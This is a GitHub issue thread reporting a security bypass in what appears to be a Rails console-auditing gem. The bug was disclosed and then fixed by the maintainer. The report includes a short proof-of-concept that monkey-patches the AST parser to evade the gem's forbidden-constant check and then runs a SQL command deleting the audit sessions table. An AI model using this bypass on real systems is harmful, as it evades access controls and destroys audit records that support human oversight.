Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ast override makes is possible to bypass #30

Closed
gregmolnar opened this issue Sep 10, 2021 · 2 comments · Fixed by #31
Closed

Ast override makes is possible to bypass #30

gregmolnar opened this issue Sep 10, 2021 · 2 comments · Fixed by #31

Comments

@gregmolnar
Copy link
Contributor

Parser should be in the forbidden list, because it is still possible to bypass the protection by monkey-patching it:

class ::Parser::AST::Processor
	def on_const(node)
		node = [:String]
	end
end
conn = PG::Connection.open(:dbname => 'rails_edge_development')
conn.exec "delete from console1984_sessions"
@jorgemanrubia
Copy link
Member

Oh totally, good catch @gregmolnar, I'll fix this 🙏

@jorgemanrubia
Copy link
Member

Released 0.1.14 fixing this. Thanks again @gregmolnar.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants